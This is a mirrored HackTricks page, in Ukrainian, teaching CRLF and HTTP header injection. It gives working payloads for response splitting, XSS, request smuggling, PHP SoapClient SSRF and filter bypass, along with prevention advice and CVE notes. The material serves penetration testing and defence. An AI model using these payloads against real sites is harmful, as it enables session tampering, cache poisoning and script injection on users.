mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
236 lines
23 KiB
Markdown
236 lines
23 KiB
Markdown
# CRLF (%0D%0A) Injection
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
### CRLF
|
||
|
||
Перенос каретки (CR) та переведення рядка (LF), разом відомі як CRLF, є спеціальними послідовностями символів, які використовуються в протоколі HTTP для позначення кінця рядка або початку нового. Веб-сервери та браузери використовують CRLF для розрізнення між HTTP-заголовками та тілом відповіді. Ці символи універсально використовуються в комунікаціях HTTP/1.1 на різних типах веб-серверів, таких як Apache та Microsoft IIS.
|
||
|
||
### CRLF Injection Vulnerability
|
||
|
||
Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently harmful, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших шкідливих дій.
|
||
|
||
### Example: CRLF Injection in a Log File
|
||
|
||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||
|
||
Розгляньте файл журналу в адміністративній панелі, який має формат: `IP - Час - Відвіданий шлях`. Типовий запис може виглядати так:
|
||
```
|
||
123.123.123.123 - 08:15 - /index.php?page=home
|
||
```
|
||
Зловмисник може використати ін'єкцію CRLF для маніпуляції цим журналом. Впроваджуючи символи CRLF у HTTP-запит, зловмисник може змінити вихідний потік і підробити записи журналу. Наприклад, впроваджена послідовність може перетворити запис журналу на:
|
||
```
|
||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||
```
|
||
Тут `%0d` та `%0a` представляють URL-кодовані форми CR та LF. Після атаки журнал помилково відображатиме:
|
||
```
|
||
IP - Time - Visited Path
|
||
|
||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||
```
|
||
Атакуючий таким чином маскує свої зловмисні дії, змушуючи виглядати так, ніби localhost (суб'єкт, як правило, довірений у середовищі сервера) виконує ці дії. Сервер інтерпретує частину запиту, що починається з `%0d%0a`, як один параметр, тоді як параметр `restrictedaction` розглядається як інший, окремий вхід. Маніпульований запит ефективно імітує легітимну адміністративну команду: `/index.php?page=home&restrictedaction=edit`
|
||
|
||
### HTTP Response Splitting
|
||
|
||
#### Опис
|
||
|
||
HTTP Response Splitting — це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, що складається з Carriage Return (CR), за яким слідує Line Feed (LF), що в сукупності називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема до Cross-site Scripting (XSS).
|
||
|
||
#### XSS через HTTP Response Splitting
|
||
|
||
1. Додаток встановлює власний заголовок, наприклад: `X-Custom-Header: UserInput`
|
||
2. Додаток отримує значення для `UserInput` з параметра запиту, скажімо, "user_input". У сценаріях, де відсутня належна валідація та кодування вхідних даних, атакуючий може створити корисне навантаження, яке містить послідовність CRLF, за якою слідує зловмисний вміст.
|
||
3. Атакуючий створює URL з особливо підготовленим 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||
- У цьому URL `%0d%0a%0d%0a` є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер розглядати наступну частину як тіло відповіді.
|
||
4. Сервер відображає введення атакуючого в заголовку відповіді, що призводить до ненавмисної структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.
|
||
|
||
#### Приклад HTTP Response Splitting, що призводить до перенаправлення
|
||
|
||
З [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
|
||
|
||
Браузер до:
|
||
```
|
||
/%0d%0aLocation:%20http://myweb.com
|
||
```
|
||
І сервер відповідає заголовком:
|
||
```
|
||
Location: http://myweb.com
|
||
```
|
||
**Інший приклад: (з** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||
```
|
||
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||
```
|
||
#### В URL шляху
|
||
|
||
Ви можете надіслати payload **всередині URL шляху**, щоб контролювати **відповідь** від сервера (приклад з [тут](https://hackerone.com/reports/192667)):
|
||
```
|
||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||
```
|
||
{{#ref}}
|
||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||
{{#endref}}
|
||
|
||
### Впровадження HTTP заголовків
|
||
|
||
Впровадження HTTP заголовків, часто експлуатоване через CRLF (Carriage Return and Line Feed) ін'єкцію, дозволяє зловмисникам вставляти HTTP заголовки. Це може підривати механізми безпеки, такі як фільтри XSS (Cross-Site Scripting) або SOP (Same-Origin Policy), що потенційно призводить до несанкціонованого доступу до чутливих даних, таких як CSRF токени, або маніпуляції сесіями користувачів через вставку cookie.
|
||
|
||
#### Експлуатація CORS через впровадження HTTP заголовків
|
||
|
||
Зловмисник може вставити HTTP заголовки, щоб активувати CORS (Cross-Origin Resource Sharing), обходячи обмеження, накладені SOP. Цей злом дозволяє скриптам з шкідливих джерел взаємодіяти з ресурсами з іншого джерела, потенційно отримуючи доступ до захищених даних.
|
||
|
||
#### SSRF та ін'єкція HTTP запитів через CRLF
|
||
|
||
CRLF ін'єкція може бути використана для створення та впровадження абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі `SoapClient` PHP, зокрема в параметрі `user_agent`. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть впровадити новий HTTP запит повністю. Нижче наведено приклад PHP, що демонструє цю експлуатацію:
|
||
```php
|
||
$target = 'http://127.0.0.1:9090/test';
|
||
$post_string = 'variable=post value';
|
||
$crlf = array(
|
||
'POST /proxy HTTP/1.1',
|
||
'Host: local.host.htb',
|
||
'Cookie: PHPSESSID=[PHPSESSID]',
|
||
'Content-Type: application/x-www-form-urlencoded',
|
||
'Content-Length: '.(string)strlen($post_string),
|
||
"\r\n",
|
||
$post_string
|
||
);
|
||
|
||
$client = new SoapClient(null,
|
||
array(
|
||
'uri'=>$target,
|
||
'location'=>$target,
|
||
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
|
||
)
|
||
);
|
||
|
||
# Put a netcat listener on port 9090
|
||
$client->__soapCall("test", []);
|
||
```
|
||
### Впровадження заголовків для обману запитів
|
||
|
||
Для отримання додаткової інформації про цю техніку та потенційні проблеми [**перевірте оригінальне джерело**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||
|
||
Ви можете впроваджувати важливі заголовки, щоб забезпечити, що **бекенд зберігає з'єднання відкритим** після відповіді на початковий запит:
|
||
```
|
||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||
```
|
||
Після цього можна вказати другий запит. Цей сценарій зазвичай включає [HTTP request smuggling](http-request-smuggling/), техніку, де додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних експлойтів безпеки.
|
||
|
||
**Експлуатація:**
|
||
|
||
1. **Ін'єкція зловмисного префікса**: Цей метод передбачає отруєння запиту наступного користувача або веб-кешу, вказуючи зловмисний префікс. Приклад цього:
|
||
|
||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||
|
||
2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з кінцевим сміттям, формує повний другий запит. Це може спровокувати отруєння черги відповідей. Приклад:
|
||
|
||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||
|
||
### Memcache Injection
|
||
|
||
Memcache є **сховищем ключ-значення, яке використовує протокол у відкритому тексті**. Більше інформації в:
|
||
|
||
{{#ref}}
|
||
../network-services-pentesting/11211-memcache/
|
||
{{#endref}}
|
||
|
||
**Для отримання повної інформації прочитайте**[ **оригінальну статтю**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||
|
||
Якщо платформа бере **дані з HTTP запиту і використовує їх без очищення** для виконання **запитів** до **memcache** сервера, зловмисник може зловживати цією поведінкою, щоб **впроваджувати нові команди memcache**.
|
||
|
||
Наприклад, у виявленій уразливості ключі кешу використовувалися для повернення IP-адреси та порту, до яких користувач повинен підключитися, і зловмисники змогли **впроваджувати команди memcache**, які **отруювали** **кеш, щоб надсилати деталі жертв** (включаючи імена користувачів та паролі) на сервери зловмисника:
|
||
|
||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||
|
||
Більше того, дослідники також виявили, що вони можуть десинхронізувати відповіді memcache, щоб надсилати IP-адреси та порти зловмисників користувачам, електронну пошту яких зловмисник не знав:
|
||
|
||
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||
|
||
### Як запобігти CRLF / HTTP Header Injections у веб-додатках
|
||
|
||
Щоб зменшити ризики CRLF (Carriage Return and Line Feed) або HTTP Header Injections у веб-додатках, рекомендуються такі стратегії:
|
||
|
||
1. **Уникати прямого введення користувача в заголовках відповіді:** Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді.
|
||
2. **Кодувати спеціальні символи:** Якщо уникнути прямого введення користувача неможливо, переконайтеся, що ви використовуєте функцію, призначену для кодування спеціальних символів, таких як CR (Carriage Return) і LF (Line Feed). Ця практика запобігає можливості ін'єкції CRLF.
|
||
3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Обирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків.
|
||
|
||
### CHEATSHEET
|
||
|
||
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
||
```
|
||
1. HTTP Response Splitting
|
||
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
||
|
||
2. CRLF chained with Open Redirect
|
||
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
|
||
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
|
||
• /google.com/%2F..%0D%0AHeader-Test:test2
|
||
• /%0d%0aLocation:%20http://example.com
|
||
|
||
3. CRLF Injection to XSS
|
||
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
||
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||
|
||
4. Filter Bypass
|
||
• %E5%98%8A = %0A = \u560a
|
||
• %E5%98%8D = %0D = \u560d
|
||
• %E5%98%BE = %3E = \u563e (>)
|
||
• %E5%98%BC = %3C = \u563c (<)
|
||
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
||
```
|
||
### Останні вразливості (2023 – 2025)
|
||
|
||
Останні кілька років призвели до появи кількох вразливостей CRLF/HTTP header-injection з високим впливом у широко використовуваних компонентах на стороні сервера та клієнта. Відтворення та вивчення їх локально є відмінним способом зрозуміти реальні патерни експлуатації.
|
||
|
||
| Рік | Компонент | CVE / Advisory | Коренева причина | Основна PoC |
|
||
|------|-----------|---------------|------------|---------------|
|
||
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | Допоміжна функція `AddHeader()` не очищала CR/LF, що дозволяло створення кількох заголовків запиту, коли RestSharp використовувався як HTTP-клієнт у бекенд-сервісах. Системи нижнього рівня могли бути змушені до SSRF або підміни запитів. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
|
||
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Атрибути заголовків на методах інтерфейсу копіювалися дослівно у запит. Вбудовуючи `%0d%0a`, зловмисники могли додавати довільні заголовки або навіть другий запит, коли Refit використовувався серверними робочими завданнями. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
|
||
| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | Параметр `redirect`, наданий користувачем, відображався у заголовку `Location:` без кодування, що дозволяло відкриту переадресацію + отруєння кешу. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
|
||
|
||
Ці вразливості важливі, оскільки вони спрацьовують **всередині коду на рівні додатків** і не лише на краю веб-сервера. Будь-який внутрішній компонент, який виконує HTTP-запити або встановлює заголовки відповіді, повинен забезпечувати фільтрацію CR/LF.
|
||
|
||
### Розширені обходи Unicode / контрольних символів
|
||
|
||
Сучасні стеки WAF/переписувачів часто видаляють літеральні `\r`/`\n`, але забувають про інші символи, які багато бекендів трактують як термінатори рядків. Коли CRLF фільтрується, спробуйте:
|
||
|
||
* `%E2%80%A8` (`U+2028` – РОЗДІЛЬНИК РЯДКІВ)
|
||
* `%E2%80%A9` (`U+2029` – РОЗДІЛЬНИК ПАРАГРАФІВ)
|
||
* `%C2%85` (`U+0085` – НАСТУПНИЙ РЯДОК)
|
||
|
||
Деякі фреймворки Java, Python та Go перетворюють їх на `\n` під час парсингу заголовків (див. дослідження Praetorian 2023 року). Поєднуйте їх з класичними payloads:
|
||
```
|
||
/%0A%E2%80%A8Set-Cookie:%20admin=true
|
||
```
|
||
Якщо фільтр спочатку нормалізує UTF-8, контрольний символ перетворюється на звичайний символ переносу рядка, і введений заголовок приймається.
|
||
|
||
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
|
||
|
||
Дослідники Praetorian також показали, що шляхом інжекції:
|
||
```
|
||
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
|
||
```
|
||
в відображеному заголовку браузери ігноруватимуть тіло, надане сервером, і відобразять HTML, наданий атакуючим, що призводить до збереженого XSS, навіть коли власний контент програми є неактивним. Оскільки `Content-Encoding: identity` дозволено RFC 9110, багато зворотних проксі передають його без змін.
|
||
|
||
## Автоматичні інструменти
|
||
|
||
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – швидкий активний сканер, написаний на Go.
|
||
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – фузер на основі словника, який підтримує навантаження Unicode для нових рядків.
|
||
* [crlfix](https://github.com/glebarez/crlfix) – утиліта 2024 року, яка виправляє HTTP-запити, згенеровані програмами на Go, і може використовуватися окремо для тестування внутрішніх сервісів.
|
||
|
||
## Список виявлення грубої сили
|
||
|
||
- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||
|
||
## Посилання
|
||
|
||
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
|
||
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|